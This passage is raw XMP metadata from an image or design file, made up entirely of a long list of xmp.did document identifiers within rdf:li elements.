               <rdf:li>xmp.did:069E61B2CCB211DFAC2D95EB3860F061</rdf:li>
               <rdf:li>xmp.did:06A12A9D0B206811994CB333F17797A8</rdf:li>
               <rdf:li>xmp.did:06AA627507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:06BD55BD10206811B34BB52CE54CA8C4</rdf:li>
               <rdf:li>xmp.did:06C898CD362068118DBBF25A301E109F</rdf:li>
               <rdf:li>xmp.did:06DE1FA3CC216811A9618E6B5A2E8B49</rdf:li>
               <rdf:li>xmp.did:070FCEACE273E011856EEA056CD0539A</rdf:li>
               <rdf:li>xmp.did:0716834A66DEE0119A01E27F4D86A62B</rdf:li>
               <rdf:li>xmp.did:07228975072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:0764F0FC39206811920BD6CB55DF7E21</rdf:li>
               <rdf:li>xmp.did:0769CDE32FD9E011A304F9B324370AF3</rdf:li>
               <rdf:li>xmp.did:07801174072068118083B4CF75DDC766</rdf:li>
               <rdf:li>xmp.did:0780117407206811871F92391D433BE2</rdf:li>
               <rdf:li>xmp.did:0780117407206811871FBA74EA72A8F8</rdf:li>
               <rdf:li>xmp.did:078011740720681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:078011740720681188C6CAC5BEF2CC51</rdf:li>
               <rdf:li>xmp.did:07801174072068118A6DD34822AA2C68</rdf:li>
               <rdf:li>xmp.did:07801174072068118DBBE31A192FEEDC</rdf:li>
               <rdf:li>xmp.did:07801174072068118F6288F23A50D5DD</rdf:li>
               <rdf:li>xmp.did:07801174072068119109DDBC5677155C</rdf:li>
               <rdf:li>xmp.did:07801174072068119109E629E56C6A1E</rdf:li>
               <rdf:li>xmp.did:07801174072068119109FB43F0835315</rdf:li>
               <rdf:li>xmp.did:07801174072068119109FE105A64EFB7</rdf:li>
               <rdf:li>xmp.did:07801174072068119457905C16F6CCBC</rdf:li>
               <rdf:li>xmp.did:078011740720681195FEA924E682D366</rdf:li>
               <rdf:li>xmp.did:078011740720681195FEEBA8E785237C</rdf:li>
               <rdf:li>xmp.did:078011740720681197A5BD42FA1E1B02</rdf:li>
               <rdf:li>xmp.did:078011740720681197A5E50E43358A50</rdf:li>
               <rdf:li>xmp.did:0780117407206811A72CF339EEA0CCAD</rdf:li>
               <rdf:li>xmp.did:0780117407206811AE56D5C2EFF83E18</rdf:li>
               <rdf:li>xmp.did:0780117407206811B0F3CD0CC0D28900</rdf:li>
               <rdf:li>xmp.did:0780117407206811BBF2EE6760A42A81</rdf:li>
               <rdf:li>xmp.did:0780117407206811BEB789E23D201984</rdf:li>
               <rdf:li>xmp.did:0780117407206811BF7DF951D6D80910</rdf:li>
               <rdf:li>xmp.did:0796F2FF2720681192B0C5B632F0693B</rdf:li>
               <rdf:li>xmp.did:079A27E23AB4E011BE8CF11314515779</rdf:li>
               <rdf:li>xmp.did:07C570EC072168118F62F528033224EB</rdf:li>
               <rdf:li>xmp.did:07CD0D92A8A4E1118B5BB09F1840BD4B</rdf:li>
               <rdf:li>xmp.did:07D85B194F21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:07D9F1355B75E0118C16D7122F2C5995</rdf:li>
               <rdf:li>xmp.did:08084073AF60E011AFA79E3A4F01158E</rdf:li>
               <rdf:li>xmp.did:08228975072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:08801174072068118083DB8F1A026FAD</rdf:li>
               <rdf:li>xmp.did:0880117407206811871FB03D861007B1</rdf:li>
               <rdf:li>xmp.did:0880117407206811871FFE11C8ACA7AE</rdf:li>
               <rdf:li>xmp.did:08801174072068118A6D92FD3A28037E</rdf:li>
               <rdf:li>xmp.did:08801174072068118A6DE3227BBC4D54</rdf:li>
               <rdf:li>xmp.did:08801174072068118C14D44A0A15BF12</rdf:li>
               <rdf:li>xmp.did:08801174072068118F628C5BC7FF1E1F</rdf:li>
               <rdf:li>xmp.did:08801174072068119109CCD1D363C3A1</rdf:li>
               <rdf:li>xmp.did:08801174072068119109DC63A0AEE0C1</rdf:li>
               <rdf:li>xmp.did:088011740720681192B080BDF09D73D4</rdf:li>
               <rdf:li>xmp.did:088011740720681192B0BCCE1816D9E6</rdf:li>
               <rdf:li>xmp.did:0880117407206811932D9C140B37520B</rdf:li>
               <rdf:li>xmp.did:0880117407206811994C9C0FE8D4F265</rdf:li>
               <rdf:li>xmp.did:0880117407206811994CD195484899AC</rdf:li>
               <rdf:li>xmp.did:08801174072068119BB8D11444C5B9CA</rdf:li>
               <rdf:li>xmp.did:0880117407206811A195E33BF38323D9</rdf:li>
               <rdf:li>xmp.did:0880117407206811A7BADCCEF0BE3C8D</rdf:li>
               <rdf:li>xmp.did:0880117407206811B699ADE2312DA5AD</rdf:li>
               <rdf:li>xmp.did:088257760720681188C6FBA7DFD8364D</rdf:li>
               <rdf:li>xmp.did:088A5D49B92068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:088D6ED2437011E088D29E4C0233231A</rdf:li>
               <rdf:li>xmp.did:088F6FA571206811808383758E6AB92B</rdf:li>
               <rdf:li>xmp.did:08AA627507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:09176C0C8F13E21182C380803AEC3D47</rdf:li>
               <rdf:li>xmp.did:092C276A5DF411E0A80E8127450A213E</rdf:li>
               <rdf:li>xmp.did:094486DF2220681192B0E1AD386E2BCF</rdf:li>
               <rdf:li>xmp.did:094768F81B2068119109C4FE675FAAFC</rdf:li>
               <rdf:li>xmp.did:097A9C227A60E011A98E8847F89F8D20</rdf:li>
               <rdf:li>xmp.did:09801174072068118083AFE81BBB41F0</rdf:li>
               <rdf:li>xmp.did:098011740720681181E3E87C96E3D704</rdf:li>
               <rdf:li>xmp.did:0980117407206811822AF12E3F4EA419</rdf:li>
               <rdf:li>xmp.did:0980117407206811859EE31FF8DDBE8D</rdf:li>
               <rdf:li>xmp.did:0980117407206811871FD8AA5A0491ED</rdf:li>
               <rdf:li>xmp.did:098011740720681188C693478506D2F9</rdf:li>
               <rdf:li>xmp.did:09801174072068118C149339A6CC4AB2</rdf:li>
               <rdf:li>xmp.did:09801174072068118DBB92791FD53C0C</rdf:li>
               <rdf:li>xmp.did:09801174072068118DBBA6928D4C618E</rdf:li>
               <rdf:li>xmp.did:09801174072068118DBBCBF22EEF9D1D</rdf:li>
               <rdf:li>xmp.did:09801174072068119109A1D7CAD7CE64</rdf:li>
               <rdf:li>xmp.did:0980117407206811A613FACC98434A0A</rdf:li>
               <rdf:li>xmp.did:0980117407206811A961F3E9171ECDC7</rdf:li>
               <rdf:li>xmp.did:0980117407206811AB08DB6851C86A21</rdf:li>
               <rdf:li>xmp.did:0980117407206811AEE4ECC20A5D0880</rdf:li>
               <rdf:li>xmp.did:0980117407206811AF899EE41BFA823A</rdf:li>
               <rdf:li>xmp.did:0980117407206811B1A4F894E8A7A910</rdf:li>
               <rdf:li>xmp.did:0980117407206811B8408E94AFED0CC6</rdf:li>
               <rdf:li>xmp.did:0983916D36206811AE5686BED69CECD7</rdf:li>
               <rdf:li>xmp.did:09B542E7BA21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:09B6E9051620681197A5A7582C19A1FC</rdf:li>
               <rdf:li>xmp.did:09BA72544F0EE011AF14CB98EFAB4DA6</rdf:li>
               <rdf:li>xmp.did:09C6DC5B16D7E011BEF8AB197AD7107E</rdf:li>
               <rdf:li>xmp.did:09D6841FC703E111B3B9D248B834FA0F</rdf:li>
               <rdf:li>xmp.did:09DDD7D4D6206811BB37D81EA9E9F402</rdf:li>
               <rdf:li>xmp.did:09F76F48C3C7DE11925FE106D59B22C8</rdf:li>
               <rdf:li>xmp.did:0A260B4920081168A6FD9E02138B5F40</rdf:li>
               <rdf:li>xmp.did:0A45DB531F206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:0A483A276D2068119457B4E8E216C3A8</rdf:li>
               <rdf:li>xmp.did:0A6D904091B3E011A8B593C8AF3824C9</rdf:li>
               <rdf:li>xmp.did:0A80117407206811808393D1ADB6772F</rdf:li>
               <rdf:li>xmp.did:0A80117407206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:0A80117407206811871FF47DC91DE11F</rdf:li>
               <rdf:li>xmp.did:0A8011740720681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:0A8011740720681188C6C5D9DC520BD2</rdf:li>
               <rdf:li>xmp.did:0A8011740720681188C6C9310BDF4FED</rdf:li>
               <rdf:li>xmp.did:0A801174072068118A6D903F25026836</rdf:li>
               <rdf:li>xmp.did:0A801174072068118A6D98DBEA6F1AFD</rdf:li>
               <rdf:li>xmp.did:0A801174072068118A6DC5C740EBC4EC</rdf:li>
               <rdf:li>xmp.did:0A801174072068118DBB913A1E1DD763</rdf:li>
               <rdf:li>xmp.did:0A801174072068118DBBD5A518D03C68</rdf:li>
               <rdf:li>xmp.did:0A801174072068118DBBEE8FF21414E6</rdf:li>
               <rdf:li>xmp.did:0A801174072068118F62BCCCF07169DE</rdf:li>
               <rdf:li>xmp.did:0A801174072068118F62E601B48A9F82</rdf:li>
               <rdf:li>xmp.did:0A801174072068119109DC63A0AEE0C1</rdf:li>
               <rdf:li>xmp.did:0A801174072068119109E067A35E077B</rdf:li>
               <rdf:li>xmp.did:0A8011740720681192B0F8DCDB7AEC46</rdf:li>
               <rdf:li>xmp.did:0A801174072068119457A65110A2A265</rdf:li>
               <rdf:li>xmp.did:0A8011740720681195FEDF4883024447</rdf:li>
               <rdf:li>xmp.did:0A80117407206811A613B4EE39B4D58C</rdf:li>
               <rdf:li>xmp.did:0A80117407206811AE56D84ACAF35011</rdf:li>
               <rdf:li>xmp.did:0A80117407206811B840D851FFEFE01F</rdf:li>
               <rdf:li>xmp.did:0A9127C42E206811B82FAD2229F639D0</rdf:li>
               <rdf:li>xmp.did:0A919B860E20681188C6A25D326CA38D</rdf:li>
               <rdf:li>xmp.did:0AAA627507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:0AB5DD492D93E011A111DCD927BA44B0</rdf:li>
               <rdf:li>xmp.did:0AECA841452AE011B04DD36F372B9B80</rdf:li>
               <rdf:li>xmp.did:0B5617F5B964E011AB9D8F8907501716</rdf:li>
               <rdf:li>xmp.did:0B8A5D49B92068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:0BA77AE0312068119109A41E1689D885</rdf:li>
               <rdf:li>xmp.did:0BAB2DFAAB99E111B7A0F5291D688482</rdf:li>
               <rdf:li>xmp.did:0BDD94A40A20681197A59E6566F01E60</rdf:li>
               <rdf:li>xmp.did:0BE5979B8E75E011B40595F88E78888A</rdf:li>
               <rdf:li>xmp.did:0BF11FD1DE22DF118E04DE7FDFD8DEB5</rdf:li>
               <rdf:li>xmp.did:0BFF53863B86E0119BAEF4683C7445CC</rdf:li>
               <rdf:li>xmp.did:0C2E897730BDE011A9D3ECE7ED8805E2</rdf:li>
               <rdf:li>xmp.did:0C45DB531F206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:0C483A276D2068119457B4E8E216C3A8</rdf:li>
               <rdf:li>xmp.did:0C5684DA0B8EE111BBC5E1BED2FFAC2A</rdf:li>
               <rdf:li>xmp.did:0C6188EDBC1BDF11BE488DB0BB394C1B</rdf:li>
               <rdf:li>xmp.did:0C7ECD41DA0511DF8AFEC5441030B132</rdf:li>
               <rdf:li>xmp.did:0CAA42861A1FE01184A78CD54F652B67</rdf:li>
               <rdf:li>xmp.did:0CB5DD492D93E011A111DCD927BA44B0</rdf:li>
               <rdf:li>xmp.did:0CCF6644C8A6E011979696CECC20A286</rdf:li>
               <rdf:li>xmp.did:0D0AB914E8FCDF119A3788D07212533D</rdf:li>
               <rdf:li>xmp.did:0D14AC8D9CE111DF82FB9410A1B83330</rdf:li>
               <rdf:li>xmp.did:0D33C8A66044E0118098A483BCBB8F84</rdf:li>
               <rdf:li>xmp.did:0D41A0978D88E011A9BC97A30FB23604</rdf:li>
               <rdf:li>xmp.did:0D9A9BFCEE7FE01182DFD33A26DD6908</rdf:li>
               <rdf:li>xmp.did:0DACA6E71F2068118DBBAAE1F918AC30</rdf:li>
               <rdf:li>xmp.did:0DC2B982FBA5E011A4FEE67DFDD7FB36</rdf:li>
               <rdf:li>xmp.did:0E2383CC272068119109827B1118762F</rdf:li>
               <rdf:li>xmp.did:0E2AC53BD72168119109CA2496A1ABE5</rdf:li>
               <rdf:li>xmp.did:0E8B5875072068118A6DB4BBC8F8D86B</rdf:li>
               <rdf:li>xmp.did:0EA6FF1E69FEE211858AF45F42256895</rdf:li>
               <rdf:li>xmp.did:0EAA627507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:0EBEF5DD4A40E11193A1A57288122511</rdf:li>
               <rdf:li>xmp.did:0EF0208AA3BEE111BE31A13055664FEC</rdf:li>
               <rdf:li>xmp.did:0F130344F4B7E011BF21E8B97E2AD4F7</rdf:li>
               <rdf:li>xmp.did:0F1E6B74072068118A6DC6E59443B119</rdf:li>
               <rdf:li>xmp.did:0F2BB5962FF8E011B95FD056A5B73C84</rdf:li>
               <rdf:li>xmp.did:0F30D59357C8E011BEF0A37AC8AFF6B8</rdf:li>
               <rdf:li>xmp.did:0F8AEB5E6C51E111ABFFDC36323641F6</rdf:li>
               <rdf:li>xmp.did:0FC5DEFB4ED511E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:100823B1CB0FDF119A0D9CB73A16B779</rdf:li>
               <rdf:li>xmp.did:10114F641020681188C6DC6FC229AC30</rdf:li>
               <rdf:li>xmp.did:104705740FEDE011964DBC9E2D3B124D</rdf:li>
               <rdf:li>xmp.did:1056F28443206811871FAD1712232242</rdf:li>
               <rdf:li>xmp.did:1085A4F83DD011E0A5E4E63061587FB7</rdf:li>
               <rdf:li>xmp.did:1087437407206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:109958AEE520681192B0A64B4373937D</rdf:li>
               <rdf:li>xmp.did:10A4D78D24DAE11185BEBEEF077938ED</rdf:li>
               <rdf:li>xmp.did:10B6D3B99733E011A782B4747E3F2AF8</rdf:li>
               <rdf:li>xmp.did:10C249B651206811AE568088196B6FA8</rdf:li>
               <rdf:li>xmp.did:10CC2DEED8246811871FDE311F11AE1F</rdf:li>
               <rdf:li>xmp.did:10CF6644C8A6E011979696CECC20A286</rdf:li>
               <rdf:li>xmp.did:10D230654720E011826ADF008B92143E</rdf:li>
               <rdf:li>xmp.did:10E3D974072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:10ED543414206811A6579117B049408B</rdf:li>
               <rdf:li>xmp.did:11130344F4B7E011BF21E8B97E2AD4F7</rdf:li>
               <rdf:li>xmp.did:119A01FA9E2068119022D6BA6E344F5A</rdf:li>
               <rdf:li>xmp.did:119B03C983CA11DF8F388068874D899E</rdf:li>
               <rdf:li>xmp.did:11A77212D348E011B6BAB55D64F5962D</rdf:li>
               <rdf:li>xmp.did:11BA832D6BC1DF118D79B50CF972FA86</rdf:li>
               <rdf:li>xmp.did:11DA73F97651E011BE81E9020DDBEE42</rdf:li>
               <rdf:li>xmp.did:11EB4CA32EE3DF1180ACE3EE295F2C5B</rdf:li>
               <rdf:li>xmp.did:11FB407FDBE5DF119CEFD33EC3DF08E5</rdf:li>
               <rdf:li>xmp.did:121682AA0BFBE0119083AEC80EF265DA</rdf:li>
               <rdf:li>xmp.did:1234E5770A206811822A98FCCCDFFC7E</rdf:li>
               <rdf:li>xmp.did:12427A9E4FF8E011928BEC0AEA6EB92E</rdf:li>
               <rdf:li>xmp.did:128BC47B2F20681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:12B6375A0E206811822AAEB57B3841C0</rdf:li>
               <rdf:li>xmp.did:12E03B30152868118F62D645B52694F8</rdf:li>
               <rdf:li>xmp.did:12E7F6BE562DE0118E3BFF515E28470D</rdf:li>
               <rdf:li>xmp.did:12EB4CA32EE3DF1180ACE3EE295F2C5B</rdf:li>
               <rdf:li>xmp.did:12ECDFCC6918E0118317A5126B184C9C</rdf:li>
               <rdf:li>xmp.did:130A524B4885E011845BA92E9D70F706</rdf:li>
               <rdf:li>xmp.did:130F0792073711E2A496EA31311299BA</rdf:li>
               <rdf:li>xmp.did:1324B70DE01FE111896FE48444E6BF67</rdf:li>
               <rdf:li>xmp.did:136FC6000A2068118DBB90708B5C4BE8</rdf:li>
               <rdf:li>xmp.did:137CEEFEB301E011856083961C73D400</rdf:li>
               <rdf:li>xmp.did:139C6ED120081168A6FD9E02138B5F40</rdf:li>
               <rdf:li>xmp.did:13B748432EA2E0118D04E5AB37155918</rdf:li>
               <rdf:li>xmp.did:13BA832D6BC1DF118D79B50CF972FA86</rdf:li>
               <rdf:li>xmp.did:13CE3DFD8D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:13E982BCEDB0DF11A1DAE19584408CC7</rdf:li>
               <rdf:li>xmp.did:13EB4CA32EE3DF1180ACE3EE295F2C5B</rdf:li>
               <rdf:li>xmp.did:13ECBBB17E1CDF118D4EF1C33EDDA687</rdf:li>
               <rdf:li>xmp.did:13F3CCA911D3DF11A010C6ABD7BB9BD9</rdf:li>
               <rdf:li>xmp.did:1405CBF03BF711E0909EA53496E0FC1C</rdf:li>
               <rdf:li>xmp.did:1405CBF43BF711E0909EA53496E0FC1C</rdf:li>
               <rdf:li>xmp.did:140EB6EB352E6811871FF5CCD868046F</rdf:li>
               <rdf:li>xmp.did:141682AA0BFBE0119083AEC80EF265DA</rdf:li>
               <rdf:li>xmp.did:1437CB2E34E9DE118EC4B76DFBF31F4B</rdf:li>
               <rdf:li>xmp.did:14452A74072068118A6DFDDFF2BD3A03</rdf:li>
               <rdf:li>xmp.did:144C62F9830311E0B62FB7127DA0FEAF</rdf:li>
               <rdf:li>xmp.did:1452EB770C20681197A59D8AF82B3DB2</rdf:li>
               <rdf:li>xmp.did:145F3D5A96BD11DF9A7FBB5BBBCCCBEA</rdf:li>
               <rdf:li>xmp.did:148B5875072068118A6DB4BBC8F8D86B</rdf:li>
               <rdf:li>xmp.did:148E99FF8943E211A5B7E7487AB23E91</rdf:li>
               <rdf:li>xmp.did:1497B69A2FC0E011B658AF0038CD9AF0</rdf:li>
               <rdf:li>xmp.did:149AEF289F20681192B0A9A85A8A7D16</rdf:li>
               <rdf:li>xmp.did:149C8558F373E0119389FF7D0DABFC0C</rdf:li>
               <rdf:li>xmp.did:14B665E20AF2E111AC1C9892CAA740E0</rdf:li>
               <rdf:li>xmp.did:14E2877AEF86E011A5859726980D629F</rdf:li>
               <rdf:li>xmp.did:14F64E789CE111DFB2E3D6893F51AB44</rdf:li>
               <rdf:li>xmp.did:1505F9A4182068119989A1684C255F84</rdf:li>
               <rdf:li>xmp.did:15452A74072068118A6DFDDFF2BD3A03</rdf:li>
               <rdf:li>xmp.did:154F526AB7FCDF118B1C8E78BC400721</rdf:li>
               <rdf:li>xmp.did:1588ABA64B7EDF118BB3FD3FFFE50FBC</rdf:li>
               <rdf:li>xmp.did:159701940D2068118F62D105B094CB46</rdf:li>
               <rdf:li>xmp.did:15B6D3B99733E011A782B4747E3F2AF8</rdf:li>
               <rdf:li>xmp.did:15BA832D6BC1DF118D79B50CF972FA86</rdf:li>
               <rdf:li>xmp.did:15C9895284D3DF11B5A1BCED77057419</rdf:li>
               <rdf:li>xmp.did:15D8268CA080E01186C6CD9A607711C6</rdf:li>
               <rdf:li>xmp.did:15FAFFF52B2068119457D5C82447A0CD</rdf:li>
               <rdf:li>xmp.did:1618575D7C0111E2BC7BC3A69E2D4329</rdf:li>
               <rdf:li>xmp.did:1630586DC9E3E0118D4BE9BCF87F398E</rdf:li>
               <rdf:li>xmp.did:1634BB2329E4E011814D9DD93997204C</rdf:li>
               <rdf:li>xmp.did:164CF7D73E206811B699A901380E7BA5</rdf:li>
               <rdf:li>xmp.did:165451EAB1A8E1119401F15FC606D9C7</rdf:li>
               <rdf:li>xmp.did:168BC47B2F20681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:16B5EA561C21681191099A139FF76C18</rdf:li>
               <rdf:li>xmp.did:16C78E21A7C5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:1703EFFE0D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:170D88549921681188C6813C27C46372</rdf:li>
               <rdf:li>xmp.did:17385DBEFB20681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:174F73FD1D2068118F62B7B395B16841</rdf:li>
               <rdf:li>xmp.did:176A42696DCCDF11B4C780F3440113A1</rdf:li>
               <rdf:li>xmp.did:1772B43443206811AE1283FBE2BD051D</rdf:li>
               <rdf:li>xmp.did:17771ABE585D11E0AE1B975C06C75562</rdf:li>
               <rdf:li>xmp.did:179713BA272068118F62B88BBDD1F4FF</rdf:li>
               <rdf:li>xmp.did:17A40CDC2D20681188C6A32BCEEA4F9A</rdf:li>
               <rdf:li>xmp.did:17B354781DA9E1118E38EECA87ED9AA3</rdf:li>
               <rdf:li>xmp.did:17BA832D6BC1DF118D79B50CF972FA86</rdf:li>
               <rdf:li>xmp.did:17D4795219206811994C9AA37B1758FD</rdf:li>
               <rdf:li>xmp.did:17F416570465E011B81DDB3FD1D3B3F3</rdf:li>
               <rdf:li>xmp.did:18269F271B20681191099D4256FC58DA</rdf:li>
               <rdf:li>xmp.did:182F0E2D0C20681197A5F0028D7E1C8B</rdf:li>
               <rdf:li>xmp.did:18407EA49F74DF11B9ADF501B1FEEC5B</rdf:li>
               <rdf:li>xmp.did:184209B407206811871FBEFC9746F5C9</rdf:li>
               <rdf:li>xmp.did:18503ACC11206811A7BADD5938E42519</rdf:li>
               <rdf:li>xmp.did:1852543273EAE011B109C2AAB0969E14</rdf:li>
               <rdf:li>xmp.did:187271F3BA206811A961AF349CA669AF</rdf:li>
               <rdf:li>xmp.did:189683811C2068118F62D1CE22A23E3D</rdf:li>
               <rdf:li>xmp.did:18A6A5FAB913E01180DACEB1E4B080FC</rdf:li>
               <rdf:li>xmp.did:18C78E21A7C5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:18E040BF726B11E096478444BF297328</rdf:li>
               <rdf:li>xmp.did:18F1103E54C3DF11AAE49CD88AA644AB</rdf:li>
               <rdf:li>xmp.did:18FE1CEEFD20681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:192E36464D59DF1182CFBFA4CFFF08B5</rdf:li>
               <rdf:li>xmp.did:194D6986AAE2DF11923FF0A6E5FA3686</rdf:li>
               <rdf:li>xmp.did:1990B25A12216811871FAE052E76F513</rdf:li>
               <rdf:li>xmp.did:19A58439D632E0118BADC81F3A6E89DF</rdf:li>
               <rdf:li>xmp.did:19BD91D2C2AEE111A22E9FBD4DBCFF32</rdf:li>
               <rdf:li>xmp.did:19CE3DFD8D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:19FFAA75072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:1A2B747324206811B692FCB42A29669C</rdf:li>
               <rdf:li>xmp.did:1A3A6F34ED45E111B755E2483C603801</rdf:li>
               <rdf:li>xmp.did:1A5E8EB707206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:1A6A210EBD21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:1A7CD2CDFB17E111A7ABA891D08DF9A5</rdf:li>
               <rdf:li>xmp.did:1A94536A323A11E0A7B8D76BEBDDFBE4</rdf:li>
               <rdf:li>xmp.did:1AB777227629E0119AD1B945C1964BAE</rdf:li>
               <rdf:li>xmp.did:1ABE15B83C4BE111B064B2FC5BFF1CD3</rdf:li>
               <rdf:li>xmp.did:1AF9161A3BEEE011A9DF846220E748C2</rdf:li>
               <rdf:li>xmp.did:1B1EFFEC6313DF11A719F1AF52661082</rdf:li>
               <rdf:li>xmp.did:1B61A465988DDF11B96ADBDD437880CB</rdf:li>
               <rdf:li>xmp.did:1B8BC47B2F20681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:1BA41BC04EBE11E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:1BCB511C2D5DE11194899C21C94EEE00</rdf:li>
               <rdf:li>xmp.did:1BD68F182475E1119319DC8D4C6CB405</rdf:li>
               <rdf:li>xmp.did:1BD6A30692A8E0118BA8F2782CB3F003</rdf:li>
               <rdf:li>xmp.did:1C01C42FF620681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:1C03146227226811AF6F8C15B6994DA7</rdf:li>
               <rdf:li>xmp.did:1C03BFA50A2068118DBBAD0D202BA5BB</rdf:li>
               <rdf:li>xmp.did:1C269F271B20681191099D4256FC58DA</rdf:li>
               <rdf:li>xmp.did:1C73AF8D566CE211B6D0B7F5654C294A</rdf:li>
               <rdf:li>xmp.did:1C80239D254FE011B86EE5F6B6C9D963</rdf:li>
               <rdf:li>xmp.did:1C82067507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:1C8EACA5E0C7E0118120877E7D8B11F3</rdf:li>
               <rdf:li>xmp.did:1C9133D580DDE011A631DC0D0ADE973E</rdf:li>
               <rdf:li>xmp.did:1CAC2C7D2420681188C6D631008CA0EC</rdf:li>
               <rdf:li>xmp.did:1CBC007C37E8E01188DACD40C8ED59DE</rdf:li>
               <rdf:li>xmp.did:1CCA9CB4997CE111AB9FC72E22773486</rdf:li>
               <rdf:li>xmp.did:1CCF6619A3A8DF11B402D829E1AF718C</rdf:li>
               <rdf:li>xmp.did:1CDED48E0720681197A599DDC1262833</rdf:li>
               <rdf:li>xmp.did:1CFE1CEEFD20681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:1D012E9EC9C3DF1190EED90E3B79DA34</rdf:li>
               <rdf:li>xmp.did:1D0682D8122068119109A276E6305D40</rdf:li>
               <rdf:li>xmp.did:1D06EF8E726B11E08CB3DF7C657CD3E9</rdf:li>
               <rdf:li>xmp.did:1D3E55F9E1C9E211A6AA9DF07FA2979A</rdf:li>
               <rdf:li>xmp.did:1D51DAA7222268119109F828D8DAF436</rdf:li>
               <rdf:li>xmp.did:1D541901DF4BE011B3A2B8E9249F1B48</rdf:li>
               <rdf:li>xmp.did:1D6E4373AC5FDF11A68ED251FF23EC34</rdf:li>
               <rdf:li>xmp.did:1D794D3196A0E011BA5FA492FDC2C4B6</rdf:li>
               <rdf:li>xmp.did:1DAA461E67C1DF11936FCDDF67FFE390</rdf:li>
               <rdf:li>xmp.did:1DB93560A354E011886AEFB3EE7B5503</rdf:li>
               <rdf:li>xmp.did:1DBC007C37E8E01188DACD40C8ED59DE</rdf:li>
               <rdf:li>xmp.did:1DCE20896E67E11198A3BF5860BEAAEA</rdf:li>
               <rdf:li>xmp.did:1DD66138562468118DBBDC4B04E3CD7D</rdf:li>
               <rdf:li>xmp.did:1DDA0DAFE025E011AAA2BA205A7F56F7</rdf:li>
               <rdf:li>xmp.did:1DED8CFF57BBDF118185E1BC98F91251</rdf:li>
               <rdf:li>xmp.did:1E030893602268118A6DFDB307F75ACB</rdf:li>
               <rdf:li>xmp.did:1E059DA44734E011AD25903082F159FB</rdf:li>
               <rdf:li>xmp.did:1E2F2A12F103E011BADBF75F8C4ED1AF</rdf:li>
               <rdf:li>xmp.did:1E43266C132068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:1E54133C522BE311BDBBBB1ACD068FF7</rdf:li>
               <rdf:li>xmp.did:1E6C572517206811822A93705883F21A</rdf:li>
               <rdf:li>xmp.did:1E7E6F2C19E8E1119DFDF0AAA80BF1AE</rdf:li>
               <rdf:li>xmp.did:1EBF83355E39E011A5BCB85F678484D1</rdf:li>
               <rdf:li>xmp.did:1EC0AD1472DFE011BAC7F7CD194FE1BE</rdf:li>
               <rdf:li>xmp.did:1EFE1CEEFD20681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:1F0CFC1881D2E011ADE2D83AE7E5D167</rdf:li>
               <rdf:li>xmp.did:1F0E31230A20681192B0D4E402E58F0C</rdf:li>
               <rdf:li>xmp.did:1F10B074072068118A6DFDDFF2BD3A03</rdf:li>
               <rdf:li>xmp.did:1F126E8CC961E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:1F1D7FCAFE81DF11982BEF51EBA56B3D</rdf:li>
               <rdf:li>xmp.did:1F268A4C84F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:1F4ACF100953E111843196A29CDF330F</rdf:li>
               <rdf:li>xmp.did:1F52A175072068118A6D8C8584E42AF0</rdf:li>
               <rdf:li>xmp.did:1F70BE4FE3F5E011A5E3EF2088A297DE</rdf:li>
               <rdf:li>xmp.did:1F9133D580DDE011A631DC0D0ADE973E</rdf:li>
               <rdf:li>xmp.did:1FB0C34E09206811A7BA998831A2C73E</rdf:li>
               <rdf:li>xmp.did:1FB510D7F0F511E2A49CC3D0FA4E7EE7</rdf:li>
               <rdf:li>xmp.did:1FB94F61DAABDF118EBF85C265536C69</rdf:li>
               <rdf:li>xmp.did:1FCF8E90102068119457BD2B53A199A4</rdf:li>
               <rdf:li>xmp.did:1FE3A640427AE011A4D3C40ADA3B0913</rdf:li>
               <rdf:li>xmp.did:20097E60662DDF119736E0BAAF1A32B3</rdf:li>
               <rdf:li>xmp.did:202A809B7F22E11180C4C50F43D33F1D</rdf:li>
               <rdf:li>xmp.did:20954B6E3791E0119DE0C72DBAF511EC</rdf:li>
               <rdf:li>xmp.did:209F2CC072226811AF46BCB7AA22AA67</rdf:li>
               <rdf:li>xmp.did:20B881312B20681192B0EDAAC00D9FEC</rdf:li>
               <rdf:li>xmp.did:20C566247BB0E1119ABDE24B1DD34F7A</rdf:li>
